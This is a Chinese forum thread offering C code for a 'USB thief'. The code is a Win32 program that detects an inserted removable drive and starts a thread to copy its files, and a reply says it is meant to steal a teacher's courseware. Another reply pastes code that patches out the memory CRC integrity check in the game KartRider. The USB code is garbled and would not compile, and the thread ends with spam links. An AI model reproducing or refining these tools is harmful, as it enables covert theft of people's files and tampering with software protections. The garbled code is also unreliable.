U盘小偷-- 链接代码
本帖最后由 zhanghailiangji 于 2018-3-2 11:43 编辑#include<windows.h> //窗口头文件
#include"resource.h"
#include<Dbt.h > //DBT_DEVICEARRIVAL头文件
#include<stdio.h > //头文件
//获取当前插入设备对应的磁盘编号
char firstdrivefromMask(ULONG unitmask) //返回字符,写一个函数
//firstdrivefromMask(ULONG)传一个参数ULONG
//窗口处理函数
LRESULT CALLBACK windowproc( // windowproc函数处理
//LRESULT//返回值,就是long .// windowproc()//函数名写上,指针 . //CALLBACK 回调函数,__ctdcall,默认的是:__pascal
4个参数:HWNDhwnd //窗口句柄
UINT umsg //UINT无符号int型 ,消息编号
WPARAMwparam //附加消息
LPARAM iparam //附加消息
}
{
TCHAR *pszrootpath = NULL; //定一个变量
//TCHAR定一个变量,pszrootpath根目录
switch(umsg) //判断一下关闭消息
{
cese WM_DEVICECHANGE; //U盘插入消息, 设备改变消息
//判断 switch(wparam)
{
caseDBT_DEVICEARRIVAL; //设备已经插入计算机,并且可以使用
去掉//messagebox(hwnd,TEXT("已经检检测设备插入并且可以使用") ,TEXT("提示") ,MB_OK);
{
//判断一下// //强制转换//DEV_BROADCAST_HDR * lpdb = (DEV_BROADCAST_HDR*) lparam; // HDR盘符
//lpdb 是个变量,逻辑卷, lparam强制转换 , DEV_BROADCAST_HDR结构体类型
DEV_BROADCAST_ VOLUME*lpdbv = ( DEV_BROADCAST_ VOLUME*)lpdb;//获取盘符名称
//VOLUME逻辑卷 , 强制转换DEV_BROADCAST_ VOLUME*lpdbv = ( DEV_BROADCAST_ VOLUME), 强制转换lpdb拿过来
char chdisk =firstdrivefromMask(lpdbv ->dbcv_unitmask); //盘符出来了
//调用 firstdrivefromMask(lpdbv ->dbcv_unitmask), 值char字符的
pszrootpath = new TCHAR; //根目录值,给他一个值
// newTCHAR开辟空间
sprintf(pszrootpath,"%c:", chdisk); //格式化, c字符, :号格式化进去了,:号格代表路径
//判断驱动器类型
if (DRIVE_REMOVABLE== getdrivetype(pszrootpath)) //判断一下getdrivetype(pszrootpath
//DRIVE_REMOVABLE可移动磁盘
{
//创建一个线程,复制文件,递归函数
createthread(NULL, NULL, copyproc,NULL,NULL,NULL);
//创建线程NULL, NULL, copyproc,NULL,NULL,NULL
//copyfile() ; //复制一个文件
//createdirectory();//创建文件夹
}
break;
//判断一下// case DBT_DEVICEREMOVECOMPLETE; //设备移除完成 ,设备删除
去掉//messagebox(hwnd,TEXT("已经检检测设备已经移除") ,TEXT("提示") ,MB_OK);
break;
}
messagebox(hwnd,TEXT("已经检测到设备发成改变") ,TEXT("提示") ,MB_OK); //弹处框框,消息提示框
//TEXT("已经检测到设备发成改变") ,TEXT("提示") ,MB_OK); // 弹出一个 语句
break;
case WM_CLOSE: //CLOSE消息 , 窗口关闭消息
//showWindow(hwnd,SW_HIDE); //隐藏
destroywindow(hwnd); //销毁窗口
break;
case WM_DESTROY; //处理这个消息,窗口销毁消息, 变量销毁,数据清理
postquitmessage(0); //退出
break;
}
return Defwindowproc(hwnd,umsg,wparam,lparam);
}
//获取当前插入设备对应的磁盘编号
char firstdrivefromMask(ULONG unitmask)
(
chari; //制定一个char, 返回ch
//for循环// for(i=0;i<32;i++) //i<32整数32位
{
if(unitmask & 1) // unitmask & 1 按位语为真就break
break; //跳出循环
unitmask= unitmask >> 1; //不为真右移>>1
}
return i+‘A’; // 移上循环次数
return ch; //返回ch
)//main//函数 winmain() //函数
int WINAPI //入口 winmain(
1.参数//HINSTANCE hinstance, //应用程序实例句柄
2.参数//HINSTANCE hpreinstance, //应用程序前一个实例句柄
3.参数//LPSTR ipcmdline // 命令行参数 , 字符串
//LPSTR ipcmdline 就是char*
4.参数//int ncmdshow //整形参数,表示窗口的显示方式,最大化,最小化,隐藏
}
{
/*
做一个窗口:
步骤:1.设计窗口类
找到工具 -- spy++ -- 望远镜。
TEXT // 宏定义,字符集:默认编码:unicode编码,多字节字符集
//字符串数组表示//TCHAR szclassappname[ ] = TEXT ("TZ-UDiskthief "); //名字
//WND 窗口, CLASS类名
//结构体变量//WNDCLASSwndclass; //窗口类型
wndclass,cbclsextra = 0; //窗口类型额外字节大小
wndclass,cbwndextra = 0 ; //窗口扩展空间字节大小
wndclass,hbrbackground =(HBRUSH) getstockobject(WHITE_BRUSH) ; //加载白色背景画刷
// HBRUSH强制转换
wndclass,hcursor =loadcursor( NULL,IDC_ARROW); //加载光标
// loadcursor加载箭头光标 , IDC_ARROW箭头名字
wndclass.hicon = loadicon(hinstance,MAKEINTRESOURCE(IDI_ICON1) ); //加载图标
//hicon 图标 ,定义,IDI_ICON1头文件在resource.h里面#define IDI_ICON1 101
//MAKEINTRESOURCE(IDI_ICON1)强制转换
wndclass.hinstance = hinstance; //应用程序实例句柄
wndclass.lpfnwndproc=windowproc; //窗口处理函数,回调函数
wndclass.lpszclassname =szclassappname //窗口类型名
wndclass.lpszmenuname = NULL; //菜单名
wndclass.style = CS_HREDRAW | CS_VREDRAW | CS_DBLCLKS; //窗口类的风格
2.注册窗口类
registerclass(&wndclass); //注册窗口类
3.创建窗口
HWND hwnd = createwindow( //HWND hwnd窗口句柄值
szclassappname, //窗口的类型名
TEXT("U盘小偷"), //窗口标题
WS_OVERLAPPEDWINDOW, //窗口的风格
300, //窗口位置和坐标,窗口左上角横坐标
100, // 窗口左上角纵坐标
400, //窗口的宽度
300, //窗口的高度
NULL, //父窗口句柄
NULL, //菜单句柄
hinstance, //应用程序实例句柄
NULL, //参数
);
4.显示窗口
showWindow(hwnd, SW_SHOW); //显示窗口
5.更新窗口
updatewindow(hwnd); //更新与刷新一下
6.消息循环
MSG msg; //定一个变量
while(getmessage(&msg ,NULL , 0 ,0) ) // while循环. 消息循环
//getmessage获取,保存在&msg里面, 获取全部消息NULL , 0 ,0
{
//将虚拟键消息转换为字符消息
translatemessage(&msg); //translatemessage 函数 msg值转换,转换
//将消息分发给窗口处理函数处理
dispatchmessage(&msg);
}
*/
}
return 0; //结束程序
//窗口处理函数
LRESULT CALLBACK windowproc(
//LRESULT//返回值,就是long .// windowproc()//函数名写上,指针 . //CALLBACK 回调函数,__ctdcall,默认的是:__pascal
4个参数:HWNDhwnd //窗口句柄
UINT umsg //UINT无符号int型 ,消息编号
WPARAMwparam //附加消息
} LPARAM iparam //附加消息
{
returndefwindowproc(hwnd,umsg,wparam,lparam); //defwindowproc(hwnd)调用系统函数来处理
} C语言。。。楼主牛逼 我有一段代码,帮我翻译一下,谢谢PUCHAR image_end = nullptr; PUCHAR image_copy = nullptr; UINT32 Memorycrc_check1 = 0x01226699; UINT32 Memorycrc_retn1 = 0x01226792; UINT32 Memorycrc_check2 = 0xF4C14A; UINT32 Memorycrc_retn2 = Memorycrc_check2 + 0x6; #define NAKED __declspec(naked) void __stdcall NAKED crc_check2() { VMProtectBegin("crc_check2"); __asm{ cmp ecx, image_end; jg nobypass; cmp ecx, image_base; jl nobypass; sub ecx, image_base; add ecx, image_copy; nobypass: mov ecx, dword ptr; add dword ptr , ecx; mov esi, ebp; jmp; } VMProtectEnd(); } void WINAPI Initialize_bypasscrc_t() { VMProtectBegin("Initialize_bypasscrc_t"); //SetConfigPath(); image_base = reinterpret_cast<unsigned char*>(GetModuleHandle(L"KartRider.exe")); IMAGE_NT_HEADERS* nt_header = PIMAGE_NT_HEADERS(image_base + PIMAGE_DOS_HEADER(image_base)->e_lfanew); image_copy = reinterpret_cast<unsigned char*>(malloc(nt_header->OptionalHeader.SizeOfImage)); memcpy(image_copy, image_base, nt_header->OptionalHeader.SizeOfImage); image_end = image_base + nt_header->OptionalHeader.SizeOfImage; WriteJUMP(Memorycrc_check1, Memorycrc_retn1); WriteJUMP(Memorycrc_check2, (DWORD)crc_check2); VMProtectEnd(); } 先顶一个,看着好眼睛疼 看不明白,不知道干啥呢。 158563862 发表于 2018-2-28 16:32
看不明白,不知道干啥呢。
偷老师课件的,插入电脑,自动拷贝u盘内容 u盘小偷?用来偷U盘的吗{:1_937:} 这是做什么用的? 看不懂。 这个的作用是什么呢https://hdtime.org/promotionlink.php?key=2213d2611fcc1bdd4c27eba4c872a274https://hdtime.org/promotionlink.php?key=2213d2611fcc1bdd4c27eba4c872a274